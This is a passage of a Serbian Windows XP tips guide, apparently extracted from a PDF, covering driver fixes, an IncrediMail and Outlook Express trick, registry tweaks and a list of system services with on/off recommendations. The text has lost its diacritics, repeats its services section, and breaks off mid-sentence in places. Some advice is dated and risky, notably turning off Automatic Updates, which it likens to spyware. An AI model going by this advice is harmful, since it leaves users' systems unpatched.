Kako poboljati zvuk na video fajlovima
85
DRAGAN MARKOVIC
85
DRAGAN MARKOVIC
5. Naite svoje ime pod kojim se logujete (username), selektujte ga i kliknite dugme Edit
6. Naite Set value i ekirajte Deny. Kliknite na OK dok ne zatvorite sve otvorene prozore.
ATI MultiMedia Center, ATI TV Tuner ne rade...
Ovaj mali guide je proveren na Windows XP Pro SP1 operativnom sistemu sa instaliranim
DirectX9.0b. Kartica je ATI All-In-Wonder 128 Pro.
Ukoliko se posle instalacije drajvera i MultiMedia Center programa za gledanje TV-a ne moe odabrati i namestiti TV ulaz, tj pro odabiru Atene ili Kabla nema opcija u padajuem meniju gde se
odreuje vrsta signala (Pal, NTSC....), namestite Location na United Kingdom ili United States. Idite
u Control Panel (Start > Settings > Control Panel) i startujte Regional and Language Options i pod
Regional Options tabom u dnu naide deo Location. Odaberite United States i probajte onda da
podesite MultiMedia Center. Ako se ni onda ne moe podesiti, podesite Location na United Kingdom.
Postoji jo jedna dodatna stvar koja bi mogla da se uradi. Skinite sa misrosoft sajta fix za DX9.0b
pod imenom DirectX9b-KB825116-x86-ENU.exe (pretraite po rei 825116) i instalirajte ga da bi
dodatno osigurali rad vaeg hardwarea. Posle instalacije proverite da li vam sve radi i po potrebi
podesite MMC ponovo.
85
Napominjem da slika moda nije najbolja, ali otprilike pokazuje gde bi se taj preklopnik mogao nalaziti. Uglavnom on se nalazi odmah ispod poklopca gde je monitor a vidi se samo ako je monitor
podignut. Monitor ima tri draa levi, srednji i desni a preklopnik se nalazi sa leve strane srednjeg
draa.
Potrebno je da taj preklopnik pomerite u gornji poloaj tako da je vrh preklopnika uperen prema
gore, posle ega bi slika trebala da se odmah pojavi na ekranu. Najbolje je koristiti olovku ili neki
slian predmet. Nemojte da silite preklopnik ili ga upati. Preklopnik je vrlo nean i jaa sila bi ga
mogla slomiti. Lomljenjem preklopnika se gubi mogunost da se monitor i raunar ugase kada se
ekran spusti.
DRAGAN MARKOVIC
Svakako ste se u jednom momentu pitali da li bi e-mail koji aljete mogao izgledati lepe. Kako je
Outlook Express jedan od najkoritenijih e-mail programa za njega postoje programi koji mu donose
vie opcija od njegovih standardnih. Pored toga mogue je skidanje stationery-ja koji poboljavaju
izgled pisma. Naravno postoji i zamena za OE a jedna od njih je IncrediMail. Ono to je malo poznato
u vezi ovog programa je da on alje vae podatke autorima IncrediMaila radi voenja statistike a to
direktno utie na vau privatnost i sigurnost. Da bi ovo izbegli a ipak imali lep izgled pisma kao u
IncrediMailu moete uraditi sledee.
85
1. Skinite IncrediMail.
2. Instalirajte ga a ako i kada vas va firewall pita da li da pusti IncrediMail na internet vi odbijte. Na
ovaj nain e te spreiti IncrediMail da alje podatke na internet. Ovo e takoe spreiti i slanje
pisama iz IncrediMaila.
3. Kada otvorite IncrediMail idite na opciju kreiranja novog maila (pisma).
4. Kreirajte pismo kakvo elite i snimite ga u Drafts-u. Ovo se radi tako to odete na File padajui
meni i odaberete opciju Save. Kada ste snimili pismo, ugasite taj prozor.
5. Idite u Drafts folder u IncrediMailu, i kliknite na kreirano pismo (tako da to pismo bude obeleeno
plavim).
6. Idite na File padajui meni i odaberite opciju Save As...
7. Dodelite ime fajlu (pismu) i pod Save as type odaberite Mail (*.eml) tip fajla. Snimite fajl negde na
HDD tako da ga moete lako nai.
8. Idite u Start>Run... i kucajte notepad. Idite na file padajui meni u notepadu i odaberite opciju
Open. Pronaite snimljeni .eml fajl (pismo koje ste snimili) i otvorite ga.
9. U prvom redu tog fajla morate da upiete X-Unsent: 1 tako da to bude jedino to pie u tom prvom
redu.
10. Kada ste ovo uradili odaberite opciju File i kliknite na Save.
11. Idite na Start>Run... i kliknite na dugme Browse... naite fajl koji ste snimili i otvorite ga (kliknite
na OK i u Run... prozoru).
12. Otvorie vam se OE prozor gde e te moi da dodatno kreirate pismo sa izgledom kao u IncrediMailu.
Ovo je moda malo komplikovaniji posao ali vam osigurava sigurnost i privatnost a pri tom
poboljava izgled vaeg pisma.
Internet Explorer nee da otvori dva prozora u isto vreme
Ukoliko vam se deava da kada otvarate html stranice u Internet Explorer-u, a kada je ve jedan
Internet Explorer prozor otvoren, stranica tj. drugi prozor nee da otvori i pri tom dobijete poruku
"Cannot send command to the program" ili neto slino, a pri tom koristite Zone Alarm Free, Standard ili Pro verziju, morate dopustiti da se i drugi prozor Internet Explorer-a registruje. Ovo se
najee deava kada je Zone Alarm program ugaen dok mu je u pozadini startovan vsmon.exe,
program koji prati komunikacije i deo je Zone Alarm programa i startuje se sa njim (iako se ne ugasi
uvek kada se Zone Alarm ugasi). Program je vidljiv samo iz Task Manager-a. Da bi ovo spreili uradite sledee:
1. Startujte Zone Alarm.
2. Otvorite neku stranicu u Internet Explorer-u. Najbolje neki html koji vam je na hard disku. Najbolje
je da duplo kliknete na nju u Windows Exploreru.
3. Otvorite jo jednu stranicu u Internet Exploreru, takoe duplim klikom na nju u Windows
DRAGAN MARKOVIC
Explorer-u.
4. Zone Alarm bi trebalo da iskoi sa pitanjem da li da propusti ovaj program. Potrebno je dopustiti
ovom programu konekciju.
Posle ovoga ne bi trebalo biti problema oko otvaranja dva Internet Explorer prozora. Zanimljivo je da
se ovo ne deava ako otvarate stranice direktno sa interneta ve samo ako otvarate lokalne stranice
tj. stranice koje se nalaze na vaem hard disku. Takoe se slian problem ne deava ni kada otvorite
dva IE prozora pa u njih prebacite ili direktno iz njih, putem Open.. opcije, otvorite lokalni html
stranicu.
Iskljuite obeleavanje novo instaliranih programa
1. Kliknite desnim dugmetom mia na Start dugme
2. Ukoliko imate ukljuen Classic Start Menu ova opcija nije dostupna.
3. Ukoliko vam je ukljuen Start Menu, kliknite na Customize... Kliknite na Advanced tab
4. Iskljuite Highlight newly installed programs
5. Kliknite na OK i zatvorite sve otvorene prozore (kliknite na OK). Restartujte raunar.
Iskljuite "Balloon Tips"
85
1. Startujte regedit
2. Idite u HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
3. Pronaite EnableBalloonTips stavku ili napravite novi DWORD sa tim imenom. Podesite vrednost
u "0".
4. Da bi ukljuili Balloon Tips podesite vrednost u "1".
5. Restartujte raunar.
DRAGAN MARKOVIC
Windows XP Objanjenja
Automatic
Kada u tekstu pie da je uklju?ite, ostavite ukljucenu ili sl. Service treba da se
postavi u ovaj reim (podeavanje). Kada je u ovom reimu, Service ce se startovati sa startom
sistema.
Manual
Kada nadjete da je preporuceno da je stavite u ovaj reim (podeavanje). Kada je
u ovom reimu, Service se nece startovati pri startu sistema. Windows ce je startovati kad god
je potrebna (njemu ili vama).
Disabled
Kada u tekstu pie da se iskljuci, ostavi iskljuceno ili sl. Service namestiti u ovaj
reim (podeavanje). U ovom reimu, Service se ne?e startovati uopte. Ni kada treba Windowsu, ni kada vi pokuavate da uradite neto za ta vam je potrebna ova Service.
Alerter
Obavetava korisnike o administrativnim upozorenjima na mrei. U normalnim okolnostima
ova Service nije potrebna. Napominjem da ovo nije WinPopUp
Application Layer Gateway Service
Obezbe?uje podrku za plaginove za Internet Connection Sharing/Internet Connection
Firewall i neophodna je ako se Service koriste za spajanje na Internet. Ova Service koriste ono
1.5 MB RAM memorije kada ne radi.
Application Management
Koristi za Assign, Publish and Remove software service. Ukoliko niste u mogu?nosti da modifikujete neku instalaciju softvera, a isklju?ili ste ovu Service, vratite je na Manual ili na Automatic.
Neki korisnici prijavljuju da ukoliko imate WinXP Home verziju, ova Service pravi probleme koji
su opisani na slede?em linku (Microsoft knowledge baza):
DRAGAN MARKOVIC
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q328213?SD=EE
AutoComplete Service
Nema nikakvih informacija o ovom Services. Link do fajla na koji ukazuje ova Service je
c:\progra~1\system~1\autocomp.exe. Nije poznato ta ova services radi. Na ra?unaru na kom je
na?ena Services je podeena na Manual i nije startovana to ukazuje na to da je ni jedan
program koji je bio startovan ne koristi. Na?ena je na Windows XP Home Edition systemu.
Automatic Updates
Automatski se spaja na Microsoft-ov sajt i proverava da li postoje neke vane popravke (critical
update) i druga poboljanja, automatski ih skida i instalira. Ovo bi neki nazvali odli?na opcija, ali
ja je ne smatram nita boljim od obi?nog spyware programa. Moete je namestiti na Manual, jer
nastaje poprili?no ?ekanje dok se Service ne spoji na server i proveri da li ima novosti. Posle
instalacije SP1 mogu?e je namestiti koliko ?esto Service proverava sajt. Razlozi zbog ?ega vam
se moda ne?e svideti ova opcija su slede?i:(1) Dugo ?ekanje pri proveri, (2) Zauzimanje internet konekcije i znatno usporenje surfovanja, (3) Nemogu?nost dobijanja informacija o
poboljanju tj. ta radi poboljanje, da li mi treba i sl. (zamislite da skidate podrku za kineski
jezik 7 MB a to vam ne treba ni u najlu?im snovima). Ukoliko se odlu?ite da je isklju?ite, proveravajte sajt za poboljanja sami. Da bi koristili ovaj Service (Manual ili Automatic), morate imati
startovan Cryptographic Services.
Bluetooth Service
Ukoliko imate Bluetooth adapter (USB, Interni, Serijski) i instalirali ste software za njega
(WIDCOMM ili neki drugi), ova service ?e vam se pojaviti u listi servisa. Najbolje je da se ostavi
na Automatic jer se ne startuje ukoliko vam Bluetooth adapter nije uklju?en. Ukoliko ne elite
da je service startovana isklju?ite je i pomo?u Startup Control Panel programa (vidi u Korisni
Programi) isklju?ite program?i? btwdins.exe. Na taj na?in ?e te isklju?iti automatsko startovanje
Bluetooth softvera. Ovo nije preporu?ljivo ako koristite Bluetooth adapter u normalnom radu i
treba pribegavati ovom postupku samo pri lociranju problema. Preporuka je ne dirati nita i sve
ostaviti kako je originalno podeeno.
DRAGAN MARKOVIC
ClipBook
Koristi da sa?uva informacije za CUT i PASTE opcije i da ih deli sa ostalim ra?unarima na mrei.
Ovo nema nikakve veze sa kopiranjem i razmenom fajlova. Nisam nikako uspeo da pogodim
?emu prakti?no slui ova Service.
COM+Event System
Slui aplikacijama koje koriste COM+, a ako se podesi na Manual mnogi Service je kontaktiraju
pa ?e ipak biti uklju?ena. Ako je isklju?ena u Event Log-u ?e se pojaviti linija DCOM koja
obavetava da COM+Event System nije uklju?en. Pogledajte pod C:\Program Files\ComPlus
Applications\ i ako nemate ni jednu COM+ aplikaciju, Service moete bezbedno isklju?iti ali ?e
vam se pojavljivati Event Log pri podizanju sistema obavetavaju?i vas da Service nije
uklju?en.
Com+System Application
Ako isklju?ite ovaj Service, u Event Log-u ?e te imati liniju DCOM koja vas obavetava da je
Service isklju?en. Pogledati COM+Event System.
Computer Browser
Regulie i odrava listu kompjutera i resurse koji se nalaze na mrei. Ovaj Service nije potreban
na ku?nim ra?unarima, pogotovo ako nisu ni na kakvoj mrei. Ustvari, ukoliko se Service isklju?i,
a ra?unar je povezan na mreu, jo uvek moete da koristite sve resurse mree. Na velikim
mreama, jedan ra?unar je MASTER a drugi je pomo?ni master. Svi ostali samo javljaju da su
spremni da preuzmu ulogu svakih 12 minuta u slu?aju kvara na jednom od dva glavna
ra?unara. Nema nikakvog laga (usporenja) ako se ovaj Service isklju?i na svim sem na jednom
ra?unaru (mada je i to pitanje). Iz predostronosti, ostavite ga da radi na jednom ra?unaru jer
Service ne treba da radi na svim ra?unarima svo vreme.
Cryptographic Services
Slui za proveru i potvrdu potpisa Windows fajlova. Ukoliko se isklju?i, mogli bi stalno dobijati
upozorenja o nesertifikovanim drajverima. Service je potreban da bi Windows update, kada je
podeen na Manual ili Automatic, radio normalno. Tako?e potreban je da bi se instalirao
ServicePack1 i DirectX 9.0. Windows Media Player i neke budu?e .NET aplikacije ?e zahtevati
ovaj Service za neke opcije. Ovaj Service oduzima 1.9 MB RAM memorije.
DRAGAN MARKOVIC
DHCP Client
Dobija Dynamic (dinami?nu) IP adresu od DHCP servera i DNS-a. Ve?ina DSL/kablovskih ISP-a
koristi DHCP radi spajanja na internet.
DNS Client
Koristi kod keovanja DNS imena i Active Directory domejn funkcija. Service nije potrebna za
DNS preglede (lookups). Ukoliko koristite IPSEC, ovaj Service mora biti aktivan. Ukoliko elite da
popravite vau konekciju i isko?i prozor u kome pie DNS resolver failed to flush the cache,
verovatno ste isklju?ili ovu Service. Da bi ovo popravili uklju?ite je. Da bi smanjili mreni protok
do vaeg ISP DNS servera, stavite Service na Automatic.
DRAGAN MARKOVIC
Event Log
Poruke koje generie ova Service moete pogledati u Event Viewer-u. Uvek je od pomo?i da da
se vidi kakvi problemi postoje sa nekim aplikacijama koje prose?an korisnik ne vidi. Ukoliko
isklju?ite ovu Service a ne isklju?ite Windows Management Instrumentation, moete primetiti
da vam je podizanje sistema sporije. Najbolje je da ova Service bude na Automatic opciji.
Fax Services
Podrka za kontrolu Fax opcije modema direktno iz WinXP-a bez potrebe za nekim odvojenim
programom. Odli?na Service za manja preduze?a jer dolazi se WinXP-om pa ne trebate troiti
sredstva za posebne programe. Za prose?nog korisnika totalno je nepotrebna.
GearSecurity
Instalira se sa iTune programom. iTune je program koji dolazi u paketu sa Quick Time
programom. Quick Time se moe na?i i odvojeno od njega to je vrlo preporu?ljivo. Program na
nekim konfiguracijama radi bez problema, dok na ve?ini pravi razne probleme. Navodno
program dodaje ra?unaru CDRW mogu?nosti, ali ustvari omogu?ava iPod i iTune programu da
koristi CDRW mogu?nosti. Kako Windows XP u sebi ima CDRW mogu?nosti ovaj program postaje totalno beskoristan svima, sem onima koji imaju nameru da reu CD diskove iz iTune
programa. Gaenjem ovog service se ne uti?e na rad ra?unara ili nekih njegovih komponenti,
kao ni ne rad Quick Time programa. Preporu?ujem da se ovaj service postavi na Disabled.
DRAGAN MARKOVIC
Help and Support
Potrebna je za Microsoftove online help dokumente. Ako ikada upotrebite Help and Support,
ova Service se vra?a u Automatic reim iako ste je prethodno isklju?ili.
IIS Admin
Nije automatski instalirana na WinXP Pro verziji a na Home verziji i ne postoji. Ukoliko koristite
FTP Server ili imate Lokalni Web Sajt (ra?unar non-stop na mrei a sajt vam se nalazi na tom
ra?unaru), ova Service vam je potrebna i trebala bi biti uklju?ena. Ina?e ona je meta velikog
broja hakera i vrlo je popularna za testiranje sposobnosti i u?enje upadanja na ra?unare, pa
preporu?ujem da je i ne instalirate a ako ve? jeste deinstalirajte je ukoliko vam nije potrebna.
Indexing Service
Ovo je oduvek bio najve?i razlog za usporen rad ra?unara. Ja je isklju?ujem na svakom ra?unaru
koji sretnem. Moe se deinstalirati preko Add/Remove Programs u Control Panel-u (pod Windows Setup Programs). Koristi oko 2 MB RAM memorije u stanju mirovanja a optere?enje
sistema i upotreba memorije dok pravi index se ne moe izmeriti. Iako bi ova Service trebala da
radi samo kada je ra?unar u stanju mirovanja due vreme, video sam da se uklju?uje u sred rada
i igranja i tako znatno usporava rad. Moje preporuka je isklju?iti, isklju?iti i samo isklju?iti.
DRAGAN MARKOVIC
konekcije ili za zatitu ra?unara od hakera. Service nije potrebna. Vidi Zone Alarm u sekciji
Korisni Programi.
PodService
Isto kao i gearsec, ovaj program dolazi u paketu iTune i Quick Time programa. Program se
opisuje kao iPod hardver menadment servis. Totalno je beskoristan svima sem onima koji
imaju nameru da koriste iTune program i sve njegove mogu?nosti. Gaenjem se ne uti?e na
normalan rad ra?unara ni nekog od njegovih delova, kao ni Quick Time programa. Pogledati
GearSec service za dodatne informacije. Predlaem da se ovaj program postavi na Disabled.
IPSEC Services
Mogu?e da je potrebna na nekim VNP konekcijama ili domenima, ali prose?nom korisniku nije
potrebna.
LexBce Server
Ovaj program se instalira sa Lexmark MarkVision softverom. U Windows 98 OS-u se startuje kao
startup program a u Windows NT, 2000 i XP kao Service. Ako imate Win NT, 2000 ili XP,
pogledajte sekciju Windows XP Services za informacije. Ukoliko va Lexmark tampa? dolazi sa
internom mrenom karticom, morate instalirati MarkVision softver da bi mogli konfigurisati
mrenu karticu. Ukoliko nemate problema pri radu, ostavite ovaj program da radi. Program je u
velikom broju slu?ajeva pokazao da pravi ogromne probleme pri startu ra?unara, osetna
usporenja ra?unara pri normalnom radu i brojne ostale probleme. Program je mogu?e ugasiti
pomo?u Startup Control Panel programa za Win98 ili ga isklju?iti iz Services u WinXP-u. Ukoliko
ne koristite tampa? na mrei tj. ne koristite ga da bi tampali dokumente sa vie ra?unara, ovaj
program je preporu?ljivo ugasiti. Posle gaenja programa obavezno proverite da li vam sve
potrebne opcije oko tampa?a rade (tampanje i sl.), pustite neto da se tampa i vidite da li sve
funkcionie. Ukoliko postoji problem i tampa? ne?e da radi kako treba (ne tampa i sl.), ponovo
uklju?ite program i tampa? ?e ponovo raditi. Ukoliko ste isklju?ili program i tampa? je radio
jedno vreme (nekoliko dana) pa je prestao da radi, uklju?ivanjem ovog programa ne?ete nita
posti?i jer nije problem u njemu ve? u ne?em drugom.
(Preuzeto iz sekcije Startup Programi)
DRAGAN MARKOVIC
Logical Disk Manager Administrative Service
Od vitalnog je zna?aja za rad Disk Management MMC konzole za dinami?ne drajvove (dynamic
volumes).
Message Queuing
Ne instalira se automatski na XP PRO verziji a na Home verziji je nema. Moe biti potrebna na
nekim domenima (domains), ali je prose?ni korisnici nikada ne koriste.
Messenger
Slui za razmenu poruka izme?u servera i klijenta. Nije potrebna za prose?ne korisnike. Nema
nikakve veze sa MSN Messengerom i nije WinPopUp. Poznata je po tome to ugroava sigurnost sistema i korisnika. Za proveru ukucajte u DOS prozoru: net send 127.0.0.1 hi dok je ova
Service startovana. Ako vam isko?i prozor u kome pie hi isklju?ite ovu Service. Ako dobijete
greku pri slanju koja li?i na The message alias could...., sigurni ste. Ako morate da koristite ovu
Service i ne elite da dobijate sli?ne spam prozore isklju?ite portove koriste?i neke popularne
firewall-ove (Zone Alarm). Service koristi UDP portove 135, 137, 138 i TCP portove 135, 139,
445.
DRAGAN MARKOVIC
Net Login
Koristi za logovanje (povezivanje) na Domain Controller. Nije potrebna za ku?ne ra?unare ili za
ku?ne mree (uklju?uju?i i mree u igraonicama)
Network Connections
Slui za upravljanje network konekcijama. Ako nemate network isklju?ite je. Ako internet
konekcija ne radi posle toga uklju?ite je. Ako isklju?ite ovu Service, ikona koja se pojavi kada se
spojite na internet se ne?e videti.
Network DDE
Po mnogim korisnicima, niko nije naao neku korisnu upotrebu za ovu Service. Ukoliko ne
koristite ClipBook, isklju?ite je. U stanju mirovanja koristi oko 1.5 MB RAM memorije.
DRAGAN MARKOVIC
NVIDIA Driver Helper Service
Instalira se sa drajverima za nVidia grafi?ke kartice. Instalira se sa starijim verzijama drajvera.
Noviji drajveri umesto ove instaliraju NVIDIA Display Driver Service koja je ista kao i ova samo
sa promenjenim imenom. Totalno je nepotrebna i u nekim slu?ajevima remeti rad sistema i
aplikacija (najvie u igrama). Ukoliko se pojave neki problemi, prvo isklju?ite ovu service. Tako?e,
ako su se problemi pojavili posle isklju?enja ove service, uklju?ite je i vidite da li problem jo
uvek postoji, a ukoliko postoji ponovo je isklju?ite. Generalno bezbedno i preporu?ljivo je
isklju?iti ovu service.
Print Spooler
Odlae dokumente koji su poslati na tampanje ukoliko je tampac vec zauzet. Koristi vam ako
imate tampac, bez obzira da li je na mrei ili je na vaem racunaru. Ako je iskljucite, va tampac
ce jo uvek biti instaliran, ali nece biti vidljiv u Printers direktorijumu. Kada je startujete,
tampac ce ponovo biti u listi i moci ce da se koristi. Preporuka mnogih je da ako koristite
tampac s vremena na vreme, namestite Service na Manual i startujte je kada elite da koristite
tampac, a ako tampac koristite intenzivno ostavite je ukljucenu. Iskljucenjem ove opcije
dobija se oko 4 MB RAM memorije.
DRAGAN MARKOVIC
Protected Storage
Dozvoljava snimanje pasvorda u programima kao to su Outlook Express, Outlook ili Dial Up
prozor. Ukoliko je isklju?ite Windows ne?e pamtiti ove pasvorde. Preporu?ujem da je ostavite
uklju?enu.
QoS RSVP
Obezbe?uje kontrolu saobra?aja na mreama koje koriste IPSEC i aplikacijama koje podravaju
QoS i IMAJU ADAPTER KOJI GA PODRAVA. QoS Packed drajver se standardno instalira na svaku
TCP/IP konekciju. Ako vaa mrea ne koristi ovaj Service, moete ga isklju?iti ili deinstalirati. Po
nekim tekstovima, tako?e je potreban i ACS Server za QoS packet Scheduler and Applications
da bi mogao da poalje zahtev za eljeni protok podataka (bandwidth). Ukoliko koristite
NetMeeting da bi slali sliku i zvuk preko mree, bi?e vam potrebna ova Service. Neki ljudi su
prijavljivali da QoS koristi 20% od brzine protoka i ne dozvoljava njihovo kori?enje (rezervie
ga). Ovo nije ta?no. Pogledajte slede?i link:
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q316666
DRAGAN MARKOVIC
Remote Procedure Call (RPC) Locator
Upravlja bazu RPC servisnih imena. Ukoliko neto na vaoj mrei ne radi posle isklju?ivanja,
ponovo je uklju?ite. Do sada nisam nigde naao razlog da ova Service bude uklju?ena. Kada je
startovana koristi oko 1.5 MB RAM memorije.
Removable Storage
Koristi za kontrolu i upravljanje ure?ajima kao to je CD/DVD ROM i sl. U slu?aju da koristite
autoplay opciju drajva i sli?ne opcije, a one vie ne?e da rade kada isklju?ite ovu Service,
uklju?ite je. U normalnom radu ova Service nije neophodna da bude stalno uklju?ena (po
izvetajima mnogih korisnika) i ne?ete izgubiti funkcionalnost ure?aja ako je ugasite.
RIP Listener
Ne postoji na XP Home verziji i ne instalira se na XP PRO verziji. Ako vam je potrebna moete je
instalirati kasnije, a ako neznate ta je RIP Listener onda vam nije potrebna.
Secondary Logon
Omogu?uje startovanje procesa (programa) pod razli?itim kredibilnostima (credentials).
Omogu?uje korisnicima sa manjim pravima da startuju aplikacije koje zahtevaju ve?e privilegije. Totalno beskorisno za veliki broj korisnika. Ukoliko je isklju?ite gubite opciju RunAs... koje
se dobija desnim klikom na aplikaciju.
DRAGAN MARKOVIC
Server
Koristi za razmenu fajlova i kori?enje tampa?a sa vaeg ra?unara ili Message Queuing-a. Ukoliko ne elite da sa mreom delite ove resurse, isklju?ite ovaj Service. Isklju?ivanje ne uti?e na
mogu?nost konekcije na mreu ili na mogu?nost kori?enja drajvova (ili diskova) na mrei.
Workstation mora biti uklju?en da bi se konektovali na drugi ra?unar koji ima fajlove koje
traite. Ukoliko isklju?ite File and Printer Sharing, mogu?e je da ?e ova Service nestati (tj.
isklju?iti se). Uklju?ite File and Printer Sharing, i Service ?e se ponovo pojaviti.
Smart Card
Prua podrku za kori?enje Smart Card-a za autentifikaciju lokalnih i network ra?unara. Ukoliko
nemate Smart Card ili ne znate ta je to, ova Service vam nije potrebna. Kada je startovana
Service zauzima oko 1.5 MB RAM memorije. Isklju?ite je.
DRAGAN MARKOVIC
SNMP Service
Nije instalirana automatski a ako je potrebna moe se instalirati sa WinXP CD-a. Prua podrku
kori?enju mrenih ure?aja koji koriste SNMP kao mod (metod) za daljinsku kontrolu (remote
Management).
DRAGAN MARKOVIC
Task Scheduler
Slui za planiranje automatskih operacija koje ?e Windows u zadata vremena izvravati. Neki
programi mogu zahtevati ovu Servise u cilju provere najnovijih verzija ili njihovih baza. Iako
opcija nije loa, mnogi korisnici vie vole da sve sami urade tako u svakom momentu znaju ta
imaju instalirano a ukoliko postoji poboljanje ili nova verzija, bilo bi lepo na se zna ta nam
donosi i da li nam treba pre nego to potroimo vreme i novac skidaju?i je sa interneta. Ina?e,
mnogi korisnici ?e groze pomisli da Windows sam eta po internetu ili da neto ?eprka po disku.
Preporu?ujem da je isklju?ite.
Telephony
Kontrolie tzv. telefonske ure?aje na vaem ra?unaru. Potrebna je za mogu?nost kori?enja
modema. Neki kablovski ili DSL provajderi koriste ovu Service, to zavisnosti od toga kako je
odra?en logon ili neke AOL funkcije a to opet zavisi od kori?enog softvera.
Telnet
Nije instalirana automatski a ako je potrebna moe se instalirati sa WinXP CD-a. Prua
mogu?nost daljinskog logovanja na lokalni ra?unar kroz telnet funkciju. U cilju bolje zatite,
isklju?ite ovu Service ukoliko nije specifi?no neophodna za va rad. Isklju?enjem osloba?amo
oko 2,5 MB RAM memorije.
Terminal Services
Prua mogu?nost daljinskog logovanja na lokalni ra?unar. Ova services je neophodna za rad
Fast User Switching, Remote Desktop Server i Remote Assistance. Ukoliko je isklju?ite, ne?ete
biti u mogu?nosti da vidite ko je pristupio ra?unaru (ko je logovan). Zbog ve?e sigurnosti,
isklju?ite ovu Service ukoliko vam nije neophodna za normalan rad. Ako elite da instalirate
Norton 2003, uklju?ite ovu Service. Ako spajate dva ra?unara u cilju razmene podataka ili
igranja (naj?e?e preko modema) ostavite ovu Service uklju?enu. Vidi Windows Tips & Tricks.
DRAGAN MARKOVIC
Themes
Koristi da bi se dobio novi izgled WinXP sistema. Ukoliko nemate mnogo memorije i nije vam
bitan izgled WinXP sistema, isklju?ite ovu service. Isklju?ivanjem, WinXP ?e izgledati kao Win98.
Kada je uklju?ena zauzima izme?u 4 MB i 15 MB RAM memorije.
Upload Manager
Kao i Background Intelligent Transfer Services, ova Service kontrolie transfer fajlova izme?u
servera i klijenta na mrei. Ova Service nije potrebna za osnovno kori?enje resurse (tampa?i,
Fajlovi, Skeneri,...).
DRAGAN MARKOVIC
Volume Shadow Copy
Koriti se zajedno sa MS Software Shadow Copy Provider Service-om. Microsoft Backup tako?e
kristi ovu Service. Ukoliko je ugasite, u Event Logu ?ete dobiti obavetenje da vam je ova service
isklju?ena. Nisu na?eni nikakvi loi efekti ako se ugasi ova Service. Ako se stavi na Manual ili
Disabled, osloba?a se oko 3 MB RAM memorije. Kada se stavi na manual, ne?e biti obavetenja
u Event Logu.
WebClient
Nije na?ena neka prakti?na primena ove Service. Ukoliko posle isklju?enja ove Service neke
aplikacije ili ure?aji prestanu da rade onako kako bi trebali, probajte da startujete ovu Service i
vidite da li je njeno isklju?enje razlog nepravilnom radu.
Windows Audio
Slui da bi se ?uo zvuk. Ukoliko ne posedujete audio karticu, isklju?ite ovu Service.
Windows Installer
Potrebna je za mogu?nost instalacije aplikacija koje koriste MSI fajlove. Ukoliko pri instalaciji
neke aplikacije dobijete greku "RPC Service", uklju?ite ovu Service. Obratite panju da Service
nije potrebna da bi instaliran MSI program radio. Tako?e zauzima 3.5 MB RAM memorije. Ako je
podesite na Manual, sa?uva?e te tu koli?inu memorije a service ?e se startovati po potrebi.
DRAGAN MARKOVIC
Workstation
Koristi da bi se lokalni ra?unar spojio na druge ra?unare (remote computers). Primeri bi mogli
biti konekcije na internet ili kori?enje mrenih ure?aja (tampa?a) ili razmena fajlova. Mnoge
Services zavise od ove. Ostavite je na Automatic.
DRAGAN MARKOVIC
Automatic Kada u tekstu pie da je ukljuite, ostavite ukljuenu ili sl. Service treba da se postavi
u ovaj reim (podeavanje). Kada je u ovom reimu, Service e se startovati sa startom sistema.
Manual
Kada naete da je preporueno da je stavite u ovaj reim (podeavanje). Kada je u ovom
reimu, Service se nee startovati pri startu sistema. Windows e je startovati kad god je potrebna
(njemu ili vama).
Disabled
Kada u tekstu pie da se iskljui, ostavi iskljueno ili sl. Service namestiti u ovaj reim
(podeavanje). U ovom reimu, Service se nee startovati uopte. Ni kada treba Windowsu, ni kada
vi pokuavate da uradite neto za ta vam je potrebna ova Service.
ActivCard Gold service
Najverovatnije deo softvera ActivCard Gold koji slui za pristup internetu, mrei i drugim stvarima
preko pametnih kartica (Smart Card). Na nekim raunarima se startuje kao startup program a na
nekima kao Service (obino na XP, NT i 2000 systemima). Ukoliko imate ovakav ureaj a va se
raunar ne odigne (nee da se startuje), zamrzne pri startu Windows-a ili pri ubacivanju kartice
predlae se da se iskljui ACPI opcija u BIOS-u. Druga opcija je ugradnja USB itaa kartica. Nikakve
druge informacije nisu poznate i nisu prijavljeni nikakvi (sem navedenog) problemi i usporavanja
raunara. Program je neophodan za normalan rad ureaja i ne treba ga dirati.
(Uzeto iz sekcije Startup Programi)
Alerter
Obavetava korisnike o administrativnim upozorenjima na mrei. U normalnim okolnostima ova Service nije potrebna. Napominjem da ovo nije WinPopUp
Application Layer Gateway Service
Obezbeuje podrku za plaginove za Internet Connection Sharing/Internet Connection Firewall i
neophodna je ako se Service koriste za spajanje na Internet. Ova Service koriste ono 1.5 MB RAM
memorije kada ne radi.
Application Management
Koristi za Assign, Publish and Remove software service. Ukoliko niste u mogunosti da modifikujete neku instalaciju softvera, a iskljuili ste ovu Service, vratite je na Manual ili na Automatic. Neki
korisnici prijavljuju da ukoliko imate WinXP Home verziju, ova Service pravi probleme koji su
opisani na sledeem linku (Microsoft knowledge baza):
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q328213?SD=EE
AutoComplete Service
Nema nikakvih informacija o ovom Services. Link do fajla na koji ukazuje ova Service je
c:\progra~1\system~1\autocomp.exe. Nije poznato ta ova services radi. Na raunaru na kom je
naena Services je podeena na Manual i nije startovana to ukazuje na to da je ni jedan program
koji je bio startovan ne koristi. Naena je na Windows XP Home Edition systemu.
DRAGAN MARKOVIC
Automatic Updates
Automatski se spaja na Microsoft-ov sajt i proverava da li postoje neke vane popravke (critical
update) i druga poboljanja, automatski ih skida i instalira. Ovo bi neki nazvali odlina opcija, ali ja
je ne smatram nita boljim od obinog spyware programa. Moete je namestiti na Manual, jer nastaje
poprilino ekanje dok se Service ne spoji na server i proveri da li ima novosti. Posle instalacije SP1
mogue je namestiti koliko esto Service proverava sajt. Razlozi zbog ega vam se moda nee
svideti ova opcija su sledei:(1) Dugo ekanje pri proveri, (2) Zauzimanje internet konekcije i znatno
usporenje surfovanja, (3) Nemogunost dobijanja informacija o poboljanju tj. ta radi poboljanje,
da li mi treba i sl. (zamislite da skidate podrku za kineski jezik 7 MB a to vam ne treba ni u najluim
snovima). Ukoliko se odluite da je iskljuite, proveravajte sajt za poboljanja sami. Da bi koristili
ovaj Service (Manual ili Automatic), morate imati startovan Cryptographic Services.
Background Intelligent Transfer Service
Koristi da bi se asinhrono slali podaci kroz http1.1 servere. Navodno WinXP koristi ovu Service. Service nastavlja sa skidanjem poboljanja i popravki kada se logujete ili kada ponovo ukljuite raunar
